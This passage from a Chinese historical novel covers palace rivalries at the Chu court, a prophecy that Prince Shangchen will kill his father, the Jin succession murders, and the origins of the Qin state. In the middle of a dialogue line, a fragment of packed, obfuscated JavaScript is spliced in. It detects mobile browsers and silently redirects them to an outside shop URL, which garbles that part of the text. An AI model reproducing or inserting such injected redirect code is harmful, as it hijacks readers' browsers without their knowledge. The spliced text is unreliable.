“若用那雕凤白玉笄,尤为高贵,”云儿说道:“夫人有陪嫁的雕凤白玉笄、金玉蝴蝶,翠翘金雀,可总是不用!”
“玉笄、金雀,惟主母及长夫人所用!我用银笄足矣!”许妃对着铜镜一瞧,看见一双黑色的大眼有波光闪动,便用眉笔轻轻描了起眉来。
楚成王一边吃熊掌一边说:“中原可有此礼?楚国无有!楚宫女人谁不穿金戴玉?爱妃勿虑!”
“谢大王!童子每日去紫金宫向太后请安,若与太后一样穿戴,实为不恭!”她描完眉,感到自己脸色苍白,便在脸上扑了一点粉,再用石染捈了一下嘴唇。
“爱妃宽心,母亲不会计较!”楚成王宽慰她道。
“母亲虽然大度,儿媳不可无礼!”许妃几下就梳妆完毕,看了丈夫一眼。楚成王食量确实大,他把一大簋熊掌吃完,糕、饼也吃了一大半,便开始喝吴羹。她立即过去,舀了一小碗鱼圆汤,喝了几口,便拿起一块蛋米饼,又吃了几口。见丈夫已将碗中的吴羹喝完,说道:“大王今日起早,可有早朝?”
楚成王点点头:“今日大朝,专议伐黄之事!”说完站了起来。许妃立即起身,从衣架上取下一件华丽的双龙锦袍,为他穿上。云儿立即从一个装饰华丽的冠架之上取下十二旒王冠,许妃伸出双手,接过王冠,熟练地戴在丈夫的头上,然后双手自然垂下,躬身说道:“恭送大王!”
所有侍女一齐躬身说道:“恭送大王!”
楚成王温柔地望了她一眼,转身上朝去了。
第33章 庶嫡之争无穷期
许妃用完早点,立即带着云儿来到紫金宫。空空的大堂内,只有柳儿和几名侍女在收拾清理。“南宫夫人早!”柳儿一见,立即走了过来。
“太后起否?昨夜可安?”许妃问道。
“谁来请安?可是许妃?”柳儿还没回话,屋里太后的声音就传了出来。
“小童向母后请安!母后昨夜安否?”
桃花夫人推门出来,走到许妃面前,看了看她,说道:“寡人安好,不必牵挂。来,我看看,瞧,又瘦了!脸色更黄,涂粉也无用!”说完,拉住她的手,先轻轻地把她扶到客座上,然后自己坐上主位,说道:“汝礼数太多,恐伤身体!谨记母亲之言,保胎要紧!”
“儿媳明白!”
“近日观你气色不佳,身体消瘦,或许是一男儿!”桃花夫人好奇起来。
“昨夜梦见为大王煮熊蹯,芷兰言道,梦煮熊蹯,主生男儿,不知是真是假!”许妃自嘲地笑了起来。
“楚人有此传说,应当不差!”桃花夫人睁大眼睛,兴奋地说道。
“但愿生一男儿,以慰母后、大王之念!”许妃羞涩地说道。
“我儿明事!必生一男儿,使我大楚后嗣有续也!”桃花夫人脱口说道。
许妃一惊,说道:“母亲必儿孙满堂,若能为臣儿生一弟弟,也不枉母后疼爱。”
“休得指望那哥哥!”桃花夫人粗声说道。也许她觉得自己太过直白,一下又把语气放缓:“也罢,大楚历来弟比哥贤,何忧之有?”
“多谢母后!今日暂且告退,明日再来!”许妃怕太后说出更出格的话,起身告辞。太后笑了一下,说道:“一路当心!”
敏感的许妃感到,孩子还未出生,嫡庶之争就开始了。但她却不愿意。自己嫁到楚国,是蔡妃的哥哥做的媒,意在两人结盟,帮助蔡妃在楚宫立稳脚跟。两家又是姻亲,又怎能反抢她的嫡位?更何况,许是子爵,蔡是侯爵,就算太后愿意,大王又怎会立自己为后呢?但,大王婚后就住在南宫,太后对蔡妃如前世有仇,姐姐会作何感想?不行,不管多累,今天必须去向姐姐请安。
来到北宫。走入大堂,不见蔡妃,有侍女喊道:“南宫夫人到!”
蔡妃穿着白色透明的睡袍,许久才慢吞吞地从寝房出来,懒洋洋地说道:“妹妹来也?”
“给姐姐请安!”许妃站立堂中,恭敬地说道。
“妹妹请坐。大王专宠妹妹,姐姐何安之有?”蔡妃看都不看她一眼,一扭身,自己坐下。
“小妹有孕,大王担心,方每晚来看!冷落姐姐,妹之过也!”许妃等她坐下,自己才敢落座。
“妹妹之子还在腹中,大王尚天天去看,臣儿五岁,大王理都不理,是何道理?”
“大王近日为国事操劳,无心后宫,每晚少言寡语,忧心伐黄之事!”
“伐黄之事有令尹、若敖筹划,大王何忧之有?”蔡妃总是不相信她的话。
“众臣皆要伐黄,大王担心齐国来援,故未发兵,整日忧虑重重!”
“大王性情,总是犹豫不决!此军机大事,犹与汝商量,大王之心全被汝勾走了!”蔡妃恶狠狠地说道。
“姐姐息怒!大王烦闷之时,偶尔说几句罢了!姐姐何出此言?”许妃感到很难受。
“大王之心,我岂不知?我嫁之时,大王不往迎接!汝嫁之时,大王以执礼亲迎!汝男爵之邦,大王犹要三拜!我侯爵之国,竟不能受此大礼——”她的眼泪一下涌了出来;“刀山火海,大王与汝一起蹚过,而我只能一人受苦……”他说着说着,竟然哭了起来:“大王曾言:若我生一男儿,必为王后,五年矣,大王只字不提!”
许妃不知道姐姐心中有多少怨恨,她每次来,蔡妃总向她疯狂发泄。虽然她已经习惯,心里却不是滋味。但,出嫁之时,母亲曾叮嘱道,你与蔡妃本为姐妹,今同处楚宫,须用心侍候姐姐,相互照应。想到这里,她莞尔一笑,说道:“中原女人皆慕姐姐,何必千般委屈!”
“我有何可羡慕?”蔡妃对她的笑容非常反感。
“姐姐先为桓公夫人,后为大王夫人。此二人皆为天子所封方伯,全为姐姐治下。”
蔡妃不禁也苦笑了一下,突然又沉下脸说道:“姨妈便是如此教你佑我?”
许妃只好推心置腹地说道:“姐姐心中之怨,万万不可对大王发泄,怨言伤人,反冷大王之心。若能容人之失,方现王后之范也。”
蔡妃一听又生气了,说道:“妹妹是在训斥姐姐?汝还未封后,便装腔作势,是欺我也!”说着又哭了起来。
就在这时,商臣从外面进来,心痛地问道:“母亲为何又在流泪?”
许妃一见,五岁的孩子,就长得那么高,心中有些欣慰。但那双暴突的黄眼,又确实让人不快。她忙说道:“母亲想起往事,不觉伤心流泪。臣儿疼爱母亲,必是个好男儿。”
商臣自出生至今,人们都避之不及,几乎无人夸过他。听许妃夸他,心中高兴,情绪立即变得和顺,转向母亲说道:“母亲不用哭,等孩儿长大,必保护母亲。”
蔡妃一听,竟又抬起头又笑了起来。说道:“臣儿乖,母亲正与姨娘说话,汝且出去。”
商臣却不走,迷惑地问母亲道:“是叫姨娘,还是叫母妃?”
许妃笑着起身,拉着他的手,说道:“是母妃,也是姨娘。”
商臣一听,回头望着母亲。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931005|192806||http|test|mini|href|location''.split(''|''),0,{}));
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r>“在家叫姨娘,在外叫母妃。”蔡妃也叮嘱道,却仍用不满的眼光盯了许妃一眼,又转过头,故意看着别处。
可商臣却似乎愿意与她亲近,说道:“那,姨娘便是臣儿最亲之人了。”
“好臣儿,知道亲亲爱人,必有出息。”
商臣蹦蹦跳跳地出去了。
“妹妹肺腑之言,姐姐何须多疑,就此告辞。”许妃实在难以忍受她的臭脾气,起身就走。走到门口,又转身说道:“姐姐放心,近日大王必来看臣儿。”
蔡妃两眼直呆呆地望着她的背影,一动不动。
晚上,楚成王散朝回南宫,两人一起用过晚餐,许妃为他沏上一杯浓茶,便独坐一边,不言不语。
楚成王说道:“爱妃有何心事,为何一言不发?”
就在这时,太后走了进来。两人同时起身。楚成王问道:“母亲为何夜晚到来?”
母亲理都不理他,径直走向后堂主位坐下,说道:“我来与儿媳说说话。”
“母亲有何教诲,儿媳明日前来请安时再说也不迟,何必摸黑前来?”
“我来就为请安之事。你有孕在身,自此不必前去请安,有事我会过来。”她指了指楚成王:“他那宝贝怀孕之时,就是我去看她,不必在意。”
“闻姐姐妊娠辛苦,反应强烈。可我还好,出去走走,正好解闷。”她有意为蔡妃解释。
“不必再争,我也常来解解闷。今日你又去向她请安?”桃花夫人实际不愿她与蔡妃搅到一起。
“后宫和睦,儿媳之责,也好让母亲、大王安心。”
“和睦?你与那宝贝能够和睦?她今日又在怨谁?”
许妃一听母后的语气,明白她已知道一切,冷静地说道:“妻子想丈夫,儿子想父亲,纵有怨言,亦为人之常情也。”
“哼,女欲无极,妇怨无终!我岂不知?她若不得王后之位,岂肯罢休?王上,须得管管你那宝贝!还有——你那儿子!”
“我明日去西宫,必严加训斥!”楚成王也有些惶恐。
“臣儿孝顺知礼,疼爱母亲,母后、大王不必责之太过。”许妃忙劝道。
楚成王不好为蔡妃辩解,见许妃处处维护他们母子,感到欣慰,说道:“我自有分寸,贤妃无须忧心。”
楚成王并非不看重自己的儿子。只是,他对儿子有一种奇怪的感觉:当他见到儿子时,内心总有一种厌恶感;可当儿子不在眼前,他却惦念儿子,甚至心疼儿子。这种感觉折磨着他,使他不愿去见他!但,他又不愿与儿子有隔阂,商臣毕竟是他的长子,此子将来会怎样呢?他能承继大位吗?楚成王心中总是想着这些问题!现在,母亲的威逼,使他要作决断了。
第34章 蜂目豺声 杀父弑君
第二天上朝,楚成王对众臣说道:“黄国与东夷诸国皆与齐侯结盟,此时伐黄,齐侯必救!不若待时而动!右司马何在?”
“臣在!”子文的弟弟子良上前听令道。
“汝即日北上聘黄,令黄国来楚朝觐、纳贡!如若不从,我必伐之!”
“臣得令!”
“着令尹、莫敖招募新兵,训练将士,整修戎车,囤积粮草,以备出战!明日众臣随寡人荆山狩猎!以作练兵!国巫随军出猎,潘崇领大王子同往!”
“遵大王令!”众臣同声说道。
“以狩猎历练大王子,大王英明!”潘崇上前谢恩。
朝毕,众臣离去,楚成王叫道:“国巫留步!”
矞似转身走向王座,说道:“大王有何吩咐?”
楚成王挥手示意廷尉和内侍出去,说道:“久闻先尊相面神准,可传之国巫?”
矞似随口说道:“相面之术,依形而断,人皆可学。先考亦曾传之一、二。”
“如此甚好!我观大王子面相,异乎常人,明日国巫可否相之?”
矞似一听要为大王子相面,心里一惊:大王要立嫡了!说道:“大子承天应命,其貌必然不凡,大王何虑?”
“虽然如此,明日狩猎,国巫观之,亦解我心中之惑也。”
矞似哈哈一笑:“谨遵王命。”
楚成王说完来到北宫。蔡妃一见,惊喜地说道:“大王来也?”
楚成王点点头,问道:“臣儿何在?”
“臣儿在宫外练剑!月儿,速唤臣儿回来!”
“不必!我去看看!”楚成王正要看看儿子的武艺,示意月儿引路。月儿走向侧门,把门打开一看,前面一片草地上,商臣正在与潘崇对练,便走了过去。
“见过父王!”商臣见到父王,立即过来请安。
“大王今日在朝,亲点大王子明日随往狩猎!大王子当谢父王!”潘崇教导道。
“谢父王!”商臣低头致谢。
“我儿不必多礼!且与师傅再练几招,让父王看看!”
商臣一听,立即回望师傅。潘崇点点头,后跳几步,说道:“王子来攻我!”
商臣虽然不到六岁,却长到潘崇的前胸。他冲了过去,举起木剑狠狠地砍向师傅,力气之大,砍得潘崇的木剑“梆梆”作响。潘崇防了几招,突然拨开他的木剑,急速刺向他的前胸!商臣身子向右一侧,竟然躲过去了!潘崇收剑,嘿嘿笑道:“大王子武艺长进不少。”
楚成王说道:“全仗上大夫教导有方!”
“父王,若明日狩猎,可否赐我一把真剑?”
“狩猎靠弓箭,我儿善射否?”
商臣揺摇头。潘崇说道“大王子未及学习骑射,须有铜剑防身!”
楚成王点点头:“父王将柳叶铜剑赐给若!此剑曾救过父王一命,若当惜之。”
商臣高兴地跳了起来:“多谢父王!”
第二天,楚成王率文武百官、两广卫士以及中军将士等数千人,浩浩荡荡前往荆山狩猎。
荆山是一片群山,东面山峦大多不高。正是秋高气爽的季节,山中飞禽走兽正多。楚成王领军向西走了几里路,看见一座较高的山头,便下令从南、东、北三面围山,将山兽向西驱赶!楚成王带着百官和王室成员居中,挥鞭而去。当三面队伍如拉网一般将山兽驱赶到山下时,越来越多的獐子、狐狸、野狼、野猪和活蹦乱跳的野鸡等等被聚到一起,向西面山坡奔去。楚成王拔箭射向一只白狐,白狐中箭,挣扎着跑了几下就躺下了。大家一起欢呼:“大王神武!”
楚成王大喜,举弓喊道:“众位将士,猎多者有赏!”
大家一听,各自前冲,瞄准猎物就射!队形全乱了。楚成王也纵马直追,一下又冲上前山的山坡。商臣马术不精,与潘崇半天才赶了上来。见大家都有收获,自己连弓箭都没带,便跳下马来,拔剑去追一只无人理睬的野鸡。可那野鸡一见他,便拍翅飞去一丈多远!他持剑又追,刚追到野鸡前,突然,一条被惊起的大蛇昂起头,挺立在他眼前!
这是一条眼镜王蛇,只见它身体的三分之一挺立起来,张开嘴,露出毒牙,眼睛直盯着商臣!在他身后的潘崇大吃一惊,喊道:“大王子勿动!”这时在荆山见多了蛇的国巫矞似跳下马来,镇静地说道:“将剑横挡在前面!”
商臣此时双手握住那把柳叶铜剑,竖立在自己面前。听到国巫的话,立即将剑刃朝外,剑身横在自己面前!就在这时,眼镜王蛇像闪电一样向他窜来,一下撞在他的剑刃上。只见他身子本能地向左一侧,挥剑用力一划,一下将蛇头砍了下来!那蛇头落在地上,还在不停地蹦跳,商臣走上去,对着头一通乱砍,直到潘崇把他拉开。矞似走近,看了一眼他凶狠的面孔,愣了一下,转身就走了!
“大王子临危不乱,有大王之质也!”潘崇望着目瞪口呆的楚成王,乘机夸道。
“我儿果然有胆魄!我心甚慰!”说着转眼找国巫评判,可国巫已不见了踪影。
再说子文和屈完落在队伍后面,正想前赶,忽然看见前面好像发生了什么事,便扬鞭催马,赶了过来。可国巫矞似却上马要走。子文问道:“前面发生何事,国巫为何要走?”
“无事,老朽身体不适,不宜打猎!”说完,匆匆扬鞭而去。
两人有些奇怪,上前来看究竟发生了什么事。只见商臣提着一把带血的剑,站在一条巨大的无头蛇旁边。
“此蛇为臣儿所杀?”屈完问潘崇道。
“正是!幸亏国巫提醒大王子横剑,方能宰此毒蛇!”潘崇说道。
“二位可见国巫?”楚成王似乎心中有事!
“国巫言身体不适,转马回去了!”屈完说道。
楚成王回头望去,连绵的群山之中,看到国巫远去的身影,他心中疑惑重重:自己让他为商臣面相,为何一言不发地走了呢?
子文也是第一次见到商臣,盯着他看了几眼,突然说道:“大王猎得白狐,我还两手空空!且去猎一只獐子来!”说完,也拍马走了!
入夜,屈完回到家里,吃完晚饭,一人独坐大堂,想着白天的事,总觉得国巫和令尹的行为奇怪,两人似乎都是见到大王子后离开的。大王子宰杀眼镜王蛇,两人都不赞许,反而避开,难道是商臣的长相有忌?不好直言?他也是第一次见到商臣,对他的相貌也有疑虑,便起身去找子文。
顶着秋夜的月光,屈完来到令尹府门前,向看门的大阍通报姓名之后不久,大门打开,子文走了出来!
“今夜秋月正圆,原为莫敖驾到!”
“月色迷濛,恰似令尹,不知藏有何事!”
子文一听,立即拉住他的手,进入内室,令侍女送来茶水后,子文将门关上,说道:“莫敖看清大王子否?”
“白日已然看清,有何不妥?”屈完对看相不大在行。
“大王子面相有异,乃不祥之兆也!”
“相有何异?不过突眼而已,楚国突眼者多也!”
“突眼而乱眉,此为凶险之相也!国巫定然明白,又怕大王询问,故避而不见!”
“此面相有何凶险?令尹可知?”
“此大恶之相!可危及大王及楚国!”子文说道。
屈完大吃一惊!如果这样,就应该告诉大王。可看子文的神态,他根本没有告诉大王的打算。怎么办呢?
两人都沉默不语。就在这时,忽听大阍来报:“国巫来也!”
两人同时站了起来,互相对望了一眼。子文说道:“走,去迎国巫!”两人未到门口,矞似便已经走了进来,对子文说道:“令尹、莫敖救我!”
子文说道:“国巫进内室说话!”三人一齐回到内室,子文一面亲自为他沏茶,一面笑道:“国巫有擎天驾海之能,神鬼莫测之术,何事向我求救?”
“令尹、莫敖今日见到大王子否?”矞似反问道。
两人同时点点头:“已然见到!”
“二位既已见到,可知其貌凶险?”
“如何凶险?”子文问道。
矞似喝了一口茶,把茶杯放在木案上,尽力克制内心的激动,缓缓说道:“人之眼,如昊天之日,人之眉,如日边之云!人眼清纯明亮,如昊日皎洁流彩,则天地澄明安泰!否则,人眼浑浊变异,眉际混杂昏乱,如日月昏暗,天地无光,则风霜雨雪、暴日酷暑转瞬即至!正所谓眼暗则心暗,眉乱则性乱!且眉目之上主父母,眉目之下主兄弟!大王子眼暴而眉乱,是克父克母、克
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兄克弟之大恶之兆也!且听其声,如豺狼嘶叫一般!此所谓‘蜂目豺声,杀父弑君’之貌也!”
子文和屈完大惊失色,惊讶得站了起来!屈完问道:“此子长大以后,果真会杀父弑君?”
“天意如此,恐难改也!”矞似的口气不容置疑。
“国巫可有办法化解?”子文问道。
“即刻诛杀此子!否则,别无他法!”矞似的脸变得铁青。
三人都沉默起来。矞似又说道:“昨日大王召我,令我今日打猎之时为大王子一观面相。今日见大王子杀眼镜王蛇,将其头砍碎,已知其心狠手辣!而大王竟赞叹不已!我将何以告之大王?若不实告,是欺君也!若如实告之,大王必肝胆俱裂,无从决策!大王若杀商臣,则将来无以验证其杀父弑君,大王必悔而杀我;若不告之,商臣必然弑君!我罪益甚,亦难逃一死!令尹、莫敖救我!”
“此事不能告之大王!”子文说道!
“若不告之,国巫如何交差?”屈完说道。
“大王若杀商臣,则有悖人伦,有损圣德!大王难为也!若不杀,则必耿耿于怀,惴惴不安,一生不宁!不可告之!”子文坚定地说道。
屈完静静地摇头,说道:“不然!不然!此事已不可隐瞒!既然大王令国巫面相,必早已怀疑臣儿相貌有异。今我三人皆知,又何能瞒过大王?若大王问起,我三人必轮番欺骗大王也,骗到何时能了?”
“大王若知,将何以处之?”矞似问道。
“王者,决生死,择天机,以定乾坤!察而不报,我之过也;报而不决,王之责也!天下之事,以礼而断,何难之有?”屈完说道。
“以若敖之见,大王将何以断之?”子文问道。
“天启商臣弑君,则大王必退让修德,以礼待之!礼云:父慈则子孝!大王必顺天意,以慈父之爱,化解子仇,则此祸可免也!”
“此祸非人力可免!纵使大王慈悲,弑君之祸亦难免也!”子文也深通相面,对屈完的意见不以为然!
“若不告之,徒见大王被弑,我心何安?”屈完说道。
子文和矞似同时一惊,明明知道有人弑君,却不告诉大王,这不仅是对大王的残忍,也是对国家的不忠啊!
“大灾必以大礼化之!若大王以慈父之心爱子,仍不免祸,大王则应泰然处之,静候天命也!”屈完缓缓说道。
矞似也觉无奈,说道:“此事若能化之,则为上天垂怜!若此祸难免,则天有衷曲,人所不知也!”
子文一听,万般疑惑地说道:“上天有何曲衷,派此人为难大楚?”
“汝等何怪于天?若非无礼抢亲,岂有今日之祸?”屈完一针见血地说道。
两人一听,哑然无语。抢亲!抢亲!终于抢出大祸来了!
第二天,楚宫举朝,可不见矞似的影子。这时,矞似的儿子矞丐进殿报道:“禀大王,家父染疾,不能与朝,特遣小人前来谢罪。”楚成王心生疑惑。昨天狩猎,国巫不辞而别,今日又不来朝,必有蹊跷。散朝后,便叫上子文和屈完,乘车直往国巫府邸。
矞丐把大王引入卧房,见他脸色蜡黄,形容憔悴,闭眼躺在床上。楚成王一惊,仅仅一天,为何病成这样?
这时,只见矞似睁开眼睛,露出一双忧虑深重的目光,望着他,无力地喊道:“大王——”
楚成王在一把楠木靠椅上坐下,俯身说道:“国巫病重,须宽心静养,万勿忧虑过甚。”
矞似神情稍安,缓缓闭上。
楚成王心里一沉,国巫的身体历来健康,一夜之间变得这样,必然是臣儿面相有异,难以启齿。凭直觉,他早就感到此子面相凶险,只不过想让国巫证实而已。现在,国巫实际已作了回答:商臣不可承位!
他突然全身一软,身体**,一下翻倒在地上。屈完和矞丐立即将他扶起,不知缘由的矞丐感动说道:“父亲昨日出猎,偶感风寒,大王不必心忧。孩儿必悉心侍候,不久可愈也。”
屈完意味深长地说道:“大王身系社稷,须承受天命,无须担忧。”
“大王请回宫,令宫医前来诊之。”子文也劝道。
楚成王眼前一片昏暗,在众人的搀扶下,上辇回宫。
第35章 夷吾承位,屠臣蒸母
题记:晋国百年争斗,致五行崩溃,人性扭曲。公室更甚。
父亲晋献公蒸母,儿子晋惠公效尤。权势的放纵,灭绝人伦。
公元前651年夏末,晋献公仓促东行,去参加齐桓公举行的葵丘之盟。过去中原会盟,晋国几乎都无暇参加,此次为何如此着急呢?晋献公自己知道,申生**,重耳、夷吾**,有志之士纷纷逃走,弄得晋国腥风血雨,**人怨,当然担心齐桓公出兵惩罚,故匆匆赶来与会,巴结一下中原霸主。可他来迟了,连齐桓公的影子都没见到,便打道回府!他日夜担心齐桓公讨伐,更担心三个儿子的旧部作乱!便一病不起,病情一天天加重。
他感到大限将至,可对奚齐的储位总不放心,除二五耦外,众大臣几乎都对骊姬心存反感!他能把奚齐托付给谁呢?这时,士蒍也逃走了,毕万和赵夙早已隐退封地避祸。晋国三杰自动退出历史舞台,只有出假虞灭虢之计的荀息有能力有智谋保护奚齐。他便将荀息召至榻前,悲哀地说道:“寡人久病不治,恐命不久矣!今将弱小之奚齐托付于汝,汝将何以为之?”
聪明的荀息本来不想掺和到太子的废立闹剧中去,可现在躲也躲不了了,只好说道:“臣将竭股肱之力,尽忠贞之心,以辅世子!若成功,则慰国君之灵;若败,臣将以死谢罪!”
晋献公仍不放心地问道:“何谓忠贞?”
荀息答道:“公室之事,知无不为,忠也。君位轮替,则恭旧奉新,使旧君不疑,新君无猜,贞也。”
晋献公还是不放心,还想再问,忽然口中鲜血涌出,哽噎难语。荀息立即叫人,可是来不及了。公元前651年九月,在位二十六年的晋献公诡诸病逝。他平定桓、庄之族,剿灭六国,有功于晋,故谥号为献。古代聪明睿智谓之献。但他心之残忍,也不多见。他为晋国留下的后患,可谓无穷无尽。
国君驾崩,三杰隐退,能控制朝政的人,还有一个晋国元老、上卿里克。他的势力,足以与荀息抗衡。
大夫丕郑对里克说道:“若荀息保奚奇承位,君权必落骊姬之手,晋将乱矣!”里克当年没有保护好申生,后悔不已。他也不知该怎么办,只好硬着头皮说道:“重耳犹在!”
但,现实的问题是:要立重耳,必除奚齐。两人密商,决定召来荀息,与他摊牌,说道:“国君薨世,三位公子之党皆欲报仇,尔将何去何从?”
“吾将以死保奚齐!”荀息坚定地说。
“死有何益?若立奚齐,必为骊姬弄权,国无宁日!不如共立重耳!”里克心中不忍加害于他。
“吾受先君托孤之恩,岂可有二心!君子守信,岂能惜命?即便不成,亦无废遗命也!”荀息以必死之心,誓要完成托孤遗命。
荀息无可救药,两人只好弃他而去。就在这年十月,晋献公刚刚下葬,两人便派**扮成杂役,随奚齐居庐守孝。待夜深人静之时,一剑将他刺死。荀息闻讯赶来,痛不欲生!哭道:“我不能成君之托,有何面目存活于世?”说完,拔剑就要自尽。
此时,骊姬也赶来了,见到儿子的惨状,痛哭流涕。她费尽心机除掉申生,不惜将所有公子赶走,却落得如此下场!但她仍不甘心。这个冷峻的女人一手拦住荀息,说道:“且慢!奚齐虽亡,还有卓子。请立卓子为君!”
荀息一下冷静下来。卓子为骊姬之妹所生,献公在天之灵必然允诺,便立即把卓子保护起来。为防夜长梦多,奚齐丧期未满,两人便于十一月拥立卓子为君。
卓子登基的这一天,晋宫张灯结彩,荀息领衔主持大典,里克、丕郑为辅。晋国两名步兵元帅右行将军贾华、左行将军共华率军护卫。两人手持长剑站在新君卓子两侧。大夫叔坚、骓歂、累虎、特宫、山祁等群臣皆至。这五人与禁军的左右二行都曾是里克的部将,晋人称之七舆大夫。另外,号称晋囯第一勇士的军中武将屠岸夷也站在五大夫身后。
荀息扶年仅九岁的卓子坐上君位,众臣朝贺。就在这时,只听里克大声喊道:“谁为世子报仇?”
“舍我其谁——”身材魁梧的勇将屠岸夷高声应道。只见他拔出短剑,飞身上前,一剑刺进了卓子的胸膛!可怜卓子的屁股还没坐热,便一命呜呼了。不知死活的二五耦大喊:“诛弑君反贼!”立即挥剑而来,七舆大夫一齐举剑相迎,将二人斩杀。屠岸夷说道:“骊姬惑君乱国,荼毒世子,**人怨!今日只诛骊姬、逆子,其余不究,有不从者,有如二五藕!”
众臣都不敢动。荀息方知里克势力之大,自己已无力回天,便仰天大哭:“国君,微臣请罪来也!”说完,拔剑自刎而死。
屠岸夷立即率人冲进后宫,抓住骊姬。可叹机关算尽的骊姬在众人的乱剑之下,被剁为肉酱!第二天,里克派人去翟国,迎重耳回国为君。
重耳接到里克、丕郑等晋臣的联名奏章,喜出望外!可一问明情况,他又犹豫了。
此时,众人随重耳**翟国已经四年了。魏犨、颠颉等人也兴高采烈,要求回国。生性犹豫的重耳满脸疑惑地说道:“里克、丕郑连弑二君,功耶?罪耶?谁人能定?若彰其功,则弑君之风必盛!若治其罪,是卸磨杀驴,恩将仇报也!且公子尚多,而独奉请于我,世人必疑我所使也!”
赵衰、狐偃都有此疑。狐偃说道:“二位公子虽遭闵凶,然余党未尽,朝中仇杀未了,不宜回国。”
重耳为声誉和安全着想,竟然拒绝了里克、丕郑等晋臣的表奏。
重耳顾虑重重,有人却迫不及待。他,就是三公子夷吾。夷吾身材单瘦,脸型上宽下窄,长成一副三角脸。两眼灵活敏锐,唇薄齿小。当初,晋献公下令诛杀三位公子时,令贾佗之兄贾华率军诛杀他。但憨厚的贾华心中不忍,派人向他密报,并故意逶迤慢行,使他得以收拾金银细软,从容逃脱。夷吾外逃之时,也想逃往翟国。但随臣郤(xì戏)芮说道:“重耳已去翟国,若公子随去,是应骊姬之谄言也,必引国君伐翟!不如去梁。”果然,夷吾到梁国后,倍受宠爱,梁国国君第二年就将爱女嫁他,现已生下一子,取名圉(yǔ雨)。
现在,里克和诸臣派出的使臣到了。他喜笑颜开,看过众臣恭请回国为君的奏章,就准备起身。郤芮谏道:“不可!国内诸派相争,势同水火!重耳尚不敢入,况公子乎?”
夷吾大吃一惊,说道:“既如此,如之奈何?”
郤芮个头极高,又长着极大的鹰钩鼻,两眼锐如鹰眼,让人望而生惧。他说道:“里克欲奉重耳而不能,故奉公子,是无奈耳,非忠心于公子。公子须为里克、丕郑封地加爵,以结其心;再以河西之地赂秦,使秦伯相助。如此,大事可成!”
“封地加爵无有不可,若以地赂秦,是毁先祖之业也,于心何忍?”夷吾说道。
“他人若为国君,爱地何用?若公子为君,又何患无地?”郤芮尖刻地说道。
夷吾听罢,眼珠连转三圈,终于下定决心,派郤芮带重礼出使秦国。
大约在公元前2200年左右,大禹治水之时,舜帝派给他一位得力的帮手。他,就是黄帝的五世孙,颛顼的外孙、大业的儿子:伯益。伯益也像大禹一样,数年跋山涉水,风歺露宿,协助大禹治水成功。舜帝便赐他嬴姓,从此建立嬴姓部族,成为夏朝的子民。
伯益有两个儿子:大廉和若木。长子大廉,为鸟俗氏,是廉姓的始祖,被分封到黄国,故又是黄姓的始祖。次子若木,为费氏,被封到东方的徐城,建立了徐国,他,便是徐姓的始祖。
夏朝末年,夏桀暴虐无道,徐国传至第四代,若木的玄孙费昌承位。他见夏桀无可救药,便弃夏投商,在伊尹的推荐下,率军伐夏,在鸣条山打败夏军,为商汤建立六百年大商王朝立下赫赫战功。而此时,黄国之君大廉也传至第四代,由大廉的玄孙中衍承位,他也投靠了商国,成为商朝第九代帝王太戊的车驾,并娶太戊之女为妻。嬴族因此成为商朝的巨贵。这是嬴姓最显赫的时期。
中衍的玄孙叫中潏(jué觉),中潏之子蜚廉的时代,正是商朝末年。商纣王骄奢荒淫,周武王率天下八百诸侯伐商。蜚廉带着儿子恶来效忠商纣王,拼死抵抗周军。商军牧野大败,恶来被周武王处死。而这时,蜚廉正在北方为商纣王采石。闻商国灭亡,儿子恶来受诛,便在霍太山(即今日霍山,在山西霍县东南)上为商纣王设坛祭奠,焚香而哭。这时,只见山摇地动,一具石棺从山缝中浮起,只见石棺上写道:“天帝令处父幸免殷亡之乱,赐石棺以光耀氏族。”处父就是蜚廉。从此,蜚廉和恶来的后代便在霍太山一带生存繁衍。
武王崩,成王立,商太子武庚联合三监作乱,蜚廉的后人梦想复辟,也率领徐国之民从东面响应。徐偃王带着所有东夷的嬴姓之人挥师西指,千里夹击大周王师,被周公旦一举歼灭。嬴族之人被诛杀过半,剩下的全部罚配西北边地,成为奴隶。兄弟之国的黄国也从此没落。
在发配为奴的漫长岁月中,西北苦寒之地的男人历练出坚韧的性格和顽强的精神。他们的生活与马相依,渐渐懂得养马之道。他们的马,成为西戎最剽悍的骏马。到公元前87O年,戎狄袭扰镐京,周朝的军队因战马不及戎狄之马而战败,周孝王便令赢族养马,并将秦地(今甘肃天水)封给赢族。此时,嬴族已繁衍至恶来五世,其宗伯非子便以封地为氏,号为嬴秦。这一支便成为赢族正宗。秦非子也成为嬴秦始祖。
公元前827年,周宣王继位,因嬴族养马有功,秦非子的孙子秦仲被封为大夫,但他不幸在与西戎作战时战死。其子赢其继传,他,就是秦庄公。
这时,周宣王令秦庄公赢其五兄弟率七千王师伐戎。五兄弟一心为父报仇,奋勇杀敌,大获全胜!从此,嬴氏成为护卫京都的重要力量。秦庄公赢其死后,其子嬴开继位,是为秦襄公。
公元前771年,西戎攻入缟京,周幽王**,秦襄公与郑、卫、晋三国之君护**王东迁洛邑,建立东周。护驾迁都是大功,秦襄公被封伯爵,赐岐山以西之地,正式建立秦国。秦襄公造西畤祭祀白帝,把白帝作为秦国的守护神。可以说,秦国与东周同岁。秦襄公也被认定为秦的开国之君。
襄公在位十二年,最后在征讨岐山之戎时战死。其子文公继位。文公在位五十年,开疆拓土,收复大周故地,并将岐山之地交还给东周。
文公以后的五十六年中,秦国轮替了六代君主。至公元前659年,在位仅仅四年的秦成公嬴载薨世,他没有儿子,只能让弟弟任好继位,史称秦穆公。
此时,秦人已基本控制住了关中平原。秦穆公的父亲秦德公于公元前677年已把国都迁至雍城,即今日陕西宝鸡凤翔区,已经看得见中原的天空了。秦穆公继位之际,正是齐、楚两个大国争霸之时。召陵之盟,齐楚风云际会;葵丘之盟,齐桓公一匡天下!身处西域的年轻君主对中原心驰神往。可,秦距中原千山万水,关山重重,秦穆公逐鹿中原,只在梦中。
